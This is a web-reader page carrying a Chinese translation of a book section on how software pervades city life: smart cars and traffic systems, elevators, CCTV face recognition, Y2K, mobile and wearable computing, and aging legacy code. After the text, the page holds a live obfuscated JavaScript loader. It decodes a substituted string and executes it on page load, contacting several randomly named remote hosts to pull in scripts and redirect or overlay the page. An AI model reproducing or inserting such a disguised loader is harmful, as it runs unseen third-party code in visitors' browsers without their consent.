关灯
护眼
字体:

三描绘软件(第1页)

章节目录保存书签

三、描绘软件

在对软件的位置进行具体审定之前,我们先试着看一下生活从20世纪70年代起发生了怎样的剧变。在一本卓越但却被不公平地忽视的文章中,罗恩·霍法(RonHorvath)认为西方城市的内部已经变成了机械的荒野,他称之为“机械空间”③。他认为这一新的领域是一个荒凉并充满威胁的地方,“主要应用于机器的使用”④,因为它给予机器而不是人类以优先权。霍法所谈论的主要是汽车,他通过关注美国城市中日益增长的让渡给汽车的空间以及随之产生的致命影响,详细地绘制了“机器的扩张范围”。⑤然而现在,我们看到的是与汽车的扩张同等规模的某种东西。⑥但是,即便软件已经融入日常生活的每一个细节之中——正如汽车一样——它却不曾在这个时代引起相应程度的质疑。

的确,对于我们的审查而言,汽车是一个好的切入点,因为汽车正日渐塞满了各种软件。关于汽车内部的电子设备的激增报告,例如,经济学人智库(EIU)曾预言,在很短的时间内,电子设备将会占据超过主管座车总价值的30%①。这些交通电子设备正日益被由个体公司与如美国的智能车辆系统等公司合作研发的微型软件操控。该公司的生产范围包括智能免撞系统,即交通、定位和导航;司机状况监控系统;障碍物和行人的检测系统。正如我们所言,英国的福特公司目前正在销售配有智能保护系统的蒙迪欧车型。该车型内置的神经网络传感器使智能保护系统能够对任何影响进行评估,并在瞬间调整汽车的安全系统从而将它们的功能最大化。同样,以蒙迪欧的平台为基础的捷豹C车型,不仅拥有现在大家所熟知的计算机导航系统,同时还拥有一些受控制的话语开关技术和融合了电话、卫星定位新特征的捷豹网络,它能够在意外发生的时候自动发送紧急呼叫,这样安全气囊就会启动。带有这些种类的植入系统的汽车零件数量如此巨大以至于经济学人智库在报告中预测说,到2001年,装有“汽车企业内部网”的轿车将会问世,并将各种类型的随车计算机全部连接起来。

与这些智能汽车项目相伴而生的是不断增长的智能交通系统。例如,美国的智能交通系统被整合入一个更大范围的智能交通系统。利用澳大利亚、日本和欧洲的研发技术,智能交通系统美国公司,一个公共和私人的混合体,试图寻求更广阔的研发空间和雇佣人数,并促进智能交通系统的整合以创造一个更高效、更安全和更经济的交通网络。智能交通系统的目标领域包括:交通环境下的信息收集与传递,交通意外和拥堵的减少,复杂导航和线路指导系统的研发。智能交通系统更具体的例子包括交通指示灯智能软件的研发。例如,利用模糊逻辑智能交通指示灯可以理解并根据变化的交通条件做出反馈,因此相对于传统定时控制的指示灯,它能够提供更好的表演。①

然而,在汽车和道路之外寻找都市软件也易如反掌。电梯是城市基础设置的不可或缺的部分,它们也正在装载着越来越多的软件。从早在20世纪80年代被当成是“愚蠢的机器”的典型电梯,如詹姆斯·格雷克(JamesGleick)所指出的,在软件的丰富性上甚至已经超过了汽车,在他看来,智能电梯现在装载了“比一辆高端汽车更多的计算能力,比阿波罗航天飞船上的计算能力更高”②。加上微处理器,装载上模糊逻辑,智能电梯或者“带有计算程序的电梯”就已经:

学会了在载满乘客的情况下跳过楼层,以避免过度拥挤,并识别人类行为模式。它们可以预期到,在某一个固定的楼层在每天下午4:55的时候会有一大群人涌入,并按下下降的按钮。③

软件渗透进城市的基础设施之中,不仅表现在它对城市陈旧技术的影响,更表现在它也是新技术的关键构成部分。尽管只是城市结构中一个相对较新的附加物,安全监督或闭路电视监控系统正处于革新阶段。④1998年10月伦敦的纽汉区成为世界上首个利用该系统来监控公共空间的地区。⑤由Visionics公司研发的面部监控系统使用面试识别技术来扫描罪犯:“通过模仿人类的大脑,软件能够扫描并测量人的面部器官之间的距离,并将它们还原为一堆像素。”①在纽汉区之后,一个类似的针对犯罪的安全监督系统,卫星通信网络已经被引入伦敦西区,其设计意图在于监控人群和集会,并防范自杀,这一网络系统已经在伦敦地铁进行试验。②

有没有一种方式能够对城市中的软件进行总体性评估呢?千年虫倒是提供了与这种总体性审查近似的说法。英国审计委员会关于千年虫的报告让我们对软件及其相关的嵌入系统影响城市日常生活的程度松了一口气。除了交通指示灯、电梯,英国设计委员会还列出了停车障碍物、中央加热器、楼宇安全系统、盗窃和防火系统、会计软件、车辆维护系统、地方政府收入系统、儿童保护记录、收益系统、应急无线电通信系统和医药设备。随着一些区域对那些嵌入式计算机系统的依赖,当地人们的日常生活将受到越来越严重的影响。英国城市中其他著名的地标包括银行业,煤、气、水和电力系统,食品零售业,邮局,警力,消防队,医院和应急服务系统。在涉及医院的部分,审计委员会使用如下片段来警示可能出现的问题上的延伸:“英国国民健康保险制度2000年的项目管理有如下表述:‘潜在的威胁延伸至医院的所有领域之中——电梯、诊断设备、X射线机器、麻醉设备、呼吸设备和检测仪。’”③2000年的问题是一个全球性的问题,类似的审查在全世界范围内进行。

当然,在这个事件中,“千年虫”所引发的骚乱是微不足道的,从此也一直有质疑——“千年虫”带来的真正威胁到底有多大,然而,如果它没有带来什么实质性的破坏的话,千年虫充分地展现了软件深入日常生活的程度。

如果迄今为止,绝大部分软件依然在悄无声息地扩散至日常生活,考虑到新技术与身体的亲近关系,它们的研发要明显地多(尽管不一定是可见的)。这就是局部职能的世界,日常生活的空间变得充满了智能设备,它们将越来越多的空间转换进计算活动的环境中,这些空间之内、空间与空间之中都可以进行交流。这一变化是两项大的发展成果的产物,其中之一是向“普遍的”“无处不在的”或“弥漫的”计算机系统的转变,这些系统被分布在拥有各种设备的环境中,“一个与传感器、促动器、显示器和计算机零件等隐蔽地交织在一起的物理空间,毫无缝隙地嵌入我们日常生活的用品之中,并通过一个连续的网络相互连接”①。

诺曼(Norman)预言说这将是一个“信息设备”的世界,在某种程度上,我们每一个人都将在必要的时候将我们对计算的需要集中在一起。“信息设备应该被看成隶属于同一个系统,而非彼此分离的设备。”②以至于“不是一个巨大的设备占据了我们办公的大片空间,而是我们将拥有一系列相关设备以满足我们的工作需要”③。今天,当然,我们只拥有第一代机器设备来传递日常生活信息,这些设备“计算”的痕迹过于明显,它们主要包括个人数码设备(如掌上电脑)、移动电话、可录制CD机、便携式MPS播放器、个人声音记录器、交互式寻呼机、互联网广播等。这些设备拥有一些计算能力,也通常可以用来跟他人交流。然而,这种计算设备将越来越有可能以合适的方式转变成为更多种类的设备,同时变得更加个性化。①这是从关涉到具体的单机高科技设备(这些设备提供分析并陈述信息)的供应物的互联网所引发的计算理念,向在适当的时间和地点通过一系列设施而分布的计算能力的转变。“更少的忙乱和烦扰,简单地说,就是更加便捷,具有极大的灵活性和可变性。新的互动方式,新的学习和商业行为、娱乐方式。”⑤

第二个重大的发展就是将互联网——20世纪90年代的痴迷——看成是智能设备革命的其中一个因素:“互联网的使用将会变得如此普遍、如此自然、如此平常,以至于所谓‘互联网设备’的概念将会变得完全没有必要。”①相反,我们将生活在一个宽带的世界中,互联网将会成为一个长久有效的信息“群”,它能够通过一些分散在周围的设备被召集起来。这些设备将不仅仅是信息的门户,相反,像许多其他设备一样,它们并不使用互联网而“具有实践敏感性”。通过一批无线及其他传感器,读取全球定位系统的持续定位信息等,它们能够对所处的环境进行识别并做出反馈。这意味着我们将告别那些仅能够对机器进行互动的设备,它们能够产生这些互动是因为它们被设计了要在这些它们足够熟悉的环境中产生互动,这不仅意味着更好的人机交互界面(尽管这也将是这种新的交互作用的一部分②),这不仅意味着对我们与机器关系的重新设计,以便产生更令人满意的互动经历。③相反,它意味着,通过将文化吸纳入实践的过程,一整套计算设备将会从表现的层面浸入非表现性的世界,并因此成为一系列我们习以为常的**和技能的一部分。①

目前,这个局部智能的世界还有一段距离,但并没有那么远。有两个例子可以说明这个问题:移动电话技术,也就是所谓“可佩戴的”设备。随着3G技术的出现,带有软件的移动电话和移动电话网络正变得越来越复杂,以至于正如汽车或电梯一样,手机也被设计得“更加智能”。⑤带有语音识别技术的移动电话可以免手动拨号并使用其他功能,这一技术已经被广泛使用。此外,蓝牙和其他一些无线交流设备,除了SIM卡之外,正在被安装进SG手机之中。这些设备将允许移动电话的使用者与其临近的空间(大约是一所房子之内)中的其他蓝牙设备的拥有者进行交流。举一个简单的例子,城市中心的零售商和商场可以在你接近该区域的时候发送一个折扣为10%的优惠券到你的手机屏幕上。①沿着这一思路,很显然,GPS信息将会被迅速地定格在半空之中。

信息不是真的被固定在空气中,它们被储藏在一个网页上。但是,那一页的网址被链接到地球表面的坐标之上,而非某个组织之上。随着你的移动,你的移动电话或掌上电脑中的GPS接收器将会为那个特定的地点查看网站上的内容。如果幸运的话,之前走过那里的某个人所留下的记录将会蹦出来显现在你的屏幕上,或者报告给你。②

如惠普公司在亚太总部设立的③,这样的原型系统正试图生产出这样的一些空间,其中充满了全球开放的信息。

移动电话成为日常生活的一部分,其过程产生了新形式的社会行为,从由短信促生的超协调性,以及新的可能“群聚”,到私人的工作、生活对公共空间的侵占,到新类型的社会情感表演——这些都表明了,通过这种方式即使是非常基础形式的局部智能也能够对文化产生实质性的影响。①

第二个关于新生的局部智能的例子是由可穿戴的计算机设备提供的,作为一种提供计算能力的方式,它在最近的五年内获得了飞速发展。它所提供的计算能力总是现成的,且由于它附着于服装之上而总是可用的:“它总是开着,总是可以获取的,总是你的一部分。”⑤“因此,它总是存在于使用者的身体外套之中。”①尽管商业性的可穿戴设备最初由李维斯公司设计的IGD+(与飞利浦公司共同研发,并以飞利浦Xenium语音识别电话为标志)这样的商品所组成,它与能够携带多种电子元件的笨重的多口袋的夹克没有差别,其前景可能是非常困难的。赛博夹克很可能就是第一步,这些夹克将能够,比如对穿戴者进行提醒并将之引导至有趣的商店。然而,“购物夹克”只是一系列研发出来以超越传统的使用者或个人之电脑模式的潜在可穿戴设备中的一种。例如,伯珍公司的星实验室已经揭开了带有记忆、通信、交谈、连接能力和计算能力的电子服装的面纱。

最近,创造有计算能力的能活动的纺织品已经成为可能。它能够将电路材料编织进服装里,并因此可能创造出更具身体敏感性的界面。②通过将计算机系统安装进夹克、裤子、帽子、鞋子、眼镜里,曼恩(Mann)等可穿戴设备的开拓者已经在寻求彻底改变我们使用计算机的方式了。智能服装将计算机转型为“智能辅助设备”,它能够积极主动地而非被动地与使用者互动。③因此,可穿戴设备不仅能协助商店进行定位,还可以作为更普遍的导航辅助设备和移动支付系统来发挥作用,为楼宇提供安全访问,为实战中的工程师和机械提供支持,记录谈话内容、会议等其他事件,作为移动互联网和手机的入口,扩大视野和记忆力,以及在许多其他活动中发挥作用。就移动电话而言,对于未来可穿戴系统的关键要求将会是,通过采用如蓝牙等无线传输协议,满足与他人以及与嵌入日常生活结构中的其他系统的通信的需要。

在家具中(包括床和沙发),甚至在地毯中①。

然而,同样重要的是要记住,一些最重要的局部智能特征来自蓝牙和类似无线协议的日渐增长的功能,它们能产生大量“不可见的”植入式系统,并在与人类使用者进行交流的同时也同彼此通信,并因此产生一个真正的“机械大气层”。在特定的情况下,甚至可能,如科学家所预言的,机器与机器之间的交流可能要优先于人与人之间的交流②。比如,“人们之间电话的数量将会被代表人的机器与其他机器的交流超越”,结果就是:

只要你的洗衣机被安装好了,它就会在空中与你的蓝牙控制器连接,询问它是否可以与制造商通过网络进行关联。一年之后一个维修工程师将会登门拜访你,他收到了洗衣机发给他的邮件,因为洗衣机的轴承用久了。③

在对这一节进行总结的时候,重要的是要明白,这种真实的和预期的考察从两个方面考虑而不应该给出一种科技的定论。第一,新一代的智能设备受到来自不同文化以相当不同的方式在社会和文化层面的影响。一个很恰切的很流行的例子是对移动电话、掌上电脑和便携式电脑在欧洲和北美洲的完全不同的使用模式,在大西洋的两侧有两种出人意料的对这两种技术不同的使用方式。④第二,软件本身几乎不能制定一套平稳的且令大家熟知的流程,这一点应该进一步扩展。

第一,软件通常由许多不可兼容的且一直处于变化中的语言组成:

我在1971年学着编制了一个电脑程序;我的第一份编程工作开始于1978年。从那时起,我自学了6种高级编程语言,3种汇编语言,2种数据检索语言,8种工作处理语言,17种脚本语言,10种类型的宏命令,2种目标定义语言。68种程序库界面,5种网络和8种操作环境——15种,如果你将操作系统和网络的不同联合体交叉相乘的话,我认为这并没有使我变得非常与众不同。考虑到计算机改变的速度,任何有一定从业经验的人都可能列出这样的单子来。①

第二,软件是建立于许多不同的因素之上的,其中许多都是已经存在了许多年的“遗产系统”,事实上,许多程序设计师依然依靠编码生存②:

软件在逐渐地变老。太多的时间投入,太多的时间用来替换掉它,因此,与被丢弃的硬件不同,软件要不断进行修补。它被修补、被改正、被添加补丁并重新使用……我曾操作过一台大型计算机系统,该系统的COBOL程序的资料摞得有一人高。当我从别人手中继承它的时候,该程序已经有16年的历史了,根据图书馆的记录,在我之前曾有96位程序设计师操作过它。我花费了一年的时间来研究它的子程序和服务模块,但是依然存在我没有触及的神秘地方。这个系统存在着十年都没有人能够修正的错误,还有一些部分,添加一条编码将会造成被程序设计者称为“副作用”的古怪的、令人困惑的结果:错误不是直接来自那条添加的编码,而是来自稍后产生的某些未知的干扰。我的程序在接近它的“生命周期的”结尾处,它在濒临死亡。

然而,这个系统却不能被丢弃,当一个计算机系统开始变得陈旧的时候,没有人能够真正弄懂它,一个出自低劣的技术系统反而变得珍贵……

旧系统的珍贵性是不言而喻的。系统运行的时间越久,在它身上工作过的程序设计师越多,能够明白它的人越少,随着时间的流逝,不计其数的程序设计师和分析师来了又走,系统则形成了自己的生命,它一直在运转,它是它存在的宣言:它在有效地工作。无论有多糟糕,也无论有多古怪,有多过时——它都在运行着,却没有任何一个人能够完全明白它是如何运行的。①

换言之,程序设计师是在与“无知的专门知识”的背景进行抗争。

持续不断的变化的必然结果就是茫然无知,这一点不经常被谈论:我们这些计算机专家们很少知道我们正在做什么,我们擅长小题大做然后再将问题解决,我们在未知事物的海洋中乘风破浪,我们的经验使我们只有能力来应对混乱,否认这一点的程序设计师有可能在撒谎,或者对自身非常不了解。②

难怪绝大部分软件只有在真实应用的反复试错的过程中才能得到恰当的彻底的检验。③

第三,正如无数作者曾指出的④,软件很少设计的比较完美,因此绝大部分程序的功能都未被充分地利用:

绝大部分计算软件都如此糟糕的一个主要原因是,它完全不是被设计出来的,而仅仅是改造的。另一个原因是软件的定制人通常更重视程序的内在结构而不是外在设计,尽管事实是,现代的程序中多达75%的编码都是用来处理面对读者的界面的。①

软件不总是按照程序设计师的指令运行,或者按照它应该为使用者所做的运行,它不可避免的是一种联合生产,在程序应用的过程中这一特征尤为突出:

编写一个软件程序……以一种原创的方法来处理问题,每一组程序设计师都以不同的方式重新定义并解决它所面对的问题。然而,在工作中对程序的使用忽略了特定的技巧,揭示了新种类的功能,造成了各种冲突,也解决了一个又一个问题,并激发起新的合作机制。软件带有一种变化的虚拟性,团队或多或少富有创意地将之现实化了。②

我们就以第四点作为本节的总结。一个简单的事实是,嵌入系统之中的软件现在得到了如此广泛的应用,因此,我们对于它的确切边界已经无法确定。正如审计委员会强调的,他们在辨认千年虫影响到的设备时所遇到的困难一样,“嵌入式系统的表征即便对于一个受过培训的观察者而言也可能不太明显……一些系统还可能极其难以定位或进行测试”③。然而,据委员会估计,即使回溯至1996年也有大约70亿的嵌入式系统被分布在全球各处。

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();